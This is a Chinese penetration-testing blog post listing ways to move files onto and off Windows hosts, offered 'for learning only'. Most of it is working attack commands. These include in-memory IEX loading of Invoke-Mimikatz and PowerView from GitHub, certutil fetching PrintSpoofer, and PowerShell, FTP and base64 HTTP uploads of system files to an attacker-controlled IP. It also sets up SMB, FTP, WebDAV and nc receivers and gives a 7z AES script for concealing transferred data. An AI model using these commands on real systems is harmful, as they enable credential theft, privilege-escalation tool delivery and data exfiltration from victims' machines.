渗透测试--Windows系统下的文件传输手段

        很多情况下,我们渗透测试都面临需要上传和下载文件的文件传输需求。本文专门探讨Windows服务器或主机上实施文件传输的各种方案。该专题比较敏感,该文章仅供学习使用,不要用于非法用途。

编码方法

Linux检查文件MD5

md5sum id_rsa

Linux编码Base64

cat id_rsa |base64 -w 0;echo

 Linux 解码Base64 

echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts

Windows检查文件MD5

Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

  Powershell MD5 

PS C:\htb> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

  Powershell Base64 编码

PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

 Windows Powershell解码Base64

值得注意的是,cmd.exe的最大字符串长度是8191字符,过大的编码文件,会导致失败。

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<base64字符串位置>"))

Powershell下载文件函数集合

fb6534ee5500461199fda6534a40f8cc.pngDownloadFile 下载文件

        需要URL和输出文件名称。结果是下载了文件到把目标系统

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

DownloadString 无文件方法

        该方法是直接在网络上获取文件字符串到内存,然后采用IEX对内容内容进行执行。

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

Invoke-WebRequest 文件下载方法

        该方法就是下载没太大差别,速度稍微慢一点。 

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

certutil.exe文件下载方法

#下载文件
certutil.exe -urlcache -f http://172.16.7.240/PrintSpoofer64.exe c:\users\Public\PrintSpoofer64.exe
certutil.exe -urlcache -f <恶意文件服务器> <保存位置>

HarmJ0y Powershell 方法库 

        HarmJ0y作者为我们提供了PS下载文件的方法集合。

https://gist.github.com/HarmJ0y/bb48307ffa663256e239

规避Powershell下载的常见错误

        使用 -UseBasicParsing. 即可绕过这个问题。

 6a1fe3f980b14f2e809dfdb1b82ee9de.png

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

搭建SMB服务器

无密码搭建

sudo impacket-smbserver share -smb2support /tmp/smbshare

有密码搭建 

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

SMB协议上传/下载文件的

无密码下载

C:\htb> copy \\192.168.220.133\share\nc.exe

有密码下载 

C:\htb> net use n: \\192.168.220.133\share /user:test test

 搭建FTP服务器 

sudo pip3 install pyftpdlib
python3 -m pyftpdlib --port 21
python3 -m pyftpdlib --port 21 --write

Powershell FTP上传文件

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Powershell FTP 下载文件 

        当我们拿到Powershell的时候,我们可以直接在ftp下载内容。

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Cmd FTP 下载文件

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file

Cmd FTP上传文件 

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

 Python http文件服务器

        该方法的原理是通过uploadserver 搭建了一个又upload方法的服务器,但是经过瘾小生的实验发现,该方法没有对upload接口做任何认证等内容,所以这意味着他人上马的风险,请谨慎使用。

pip3 install uploadserver
python3 -m uploadserver

Powershell HTTP上传

        该上传方法允许我们自定义一些PS来完成上传操作。

        下面的

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

 NC 搭建HTTP监听器

        NC方法,该方法简单有效,但仅适用于小文件的接受,因为他是直接显示报文的方案,建议获取什么关键字符串可以使用该方法。

nc -lvp 8000

 Powershell Base64 HTTP上传

        可以结合nc一同完成,消息的接受。

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

搭建WebDav服务器

        简单点理解就是一个搭载在HTTP服务器上的SMB服务,这有助于降低风险。

sudo wsgidav --host=0.0.0.0 --port=80 --root=<Path> --auth=anonymous

 连接WebDav服务器

        WebDav服务器就像SMB一样。SMB操作指南可以看瘾小生的其他文章。渗透测试--危险协议集合-优快云博客

net use \\192.168.138.131\DavWWWRoot
dir \\192.168.49.128\DavWWWRoot

WebDav服务器的上传/下载

上传/下载只要位置调换即可。文件从左到右

copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\

  7z 加密传输流量

        很显然传输文件时,很有可能需要我们隐蔽自己的流量。而Windows主机一般是可以完成隐蔽流量的任务。

 查找7z文件位置

where /R c:\ 7z.exe

使用7z完成加密

param(
    [Parameter(Mandatory=$true)]
    [string]$SevenZipPath,   # 7z.exe 文件路径

    [Parameter(Mandatory=$true)]
    [string]$SourcePath,     # 需要压缩的文件或文件夹路径

    [Parameter(Mandatory=$true)]
    [string]$DestinationPath,# 压缩文件输出路径

    [Parameter(Mandatory=$true)]
    [string]$Password        # 压缩密码
)

# 检查 7z.exe 是否存在
if (-Not (Test-Path $SevenZipPath)) {
    Write-Host "7z.exe 文件未找到,确认路径正确"
    exit 1
}

# 检查源文件或文件夹是否存在
if (-Not (Test-Path $SourcePath)) {
    Write-Host "指定的源文件或文件夹未找到:$SourcePath"
    exit 1
}

# 检查目标路径是否已经存在文件
if (Test-Path $DestinationPath) {
    Write-Host "目标文件已经存在,将覆盖文件:$DestinationPath"
}

# 设置命令行参数
$arguments = "a",         # 'a' 表示添加文件
              $DestinationPath,  # 压缩文件的输出路径
              "-p$Password",  # 设置密码
              "-mem=AES256",  # 设置 AES256 加密算法
              $SourcePath      # 源文件或文件夹路径

# 调用 7z.exe 进行压缩
try {
    Write-Host "正在压缩文件..."
    & $SevenZipPath $arguments
    Write-Host "文件已成功压缩并加密到:$DestinationPath"
} catch {
    Write-Host "压缩过程失败:$($_.Exception.Message)"
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值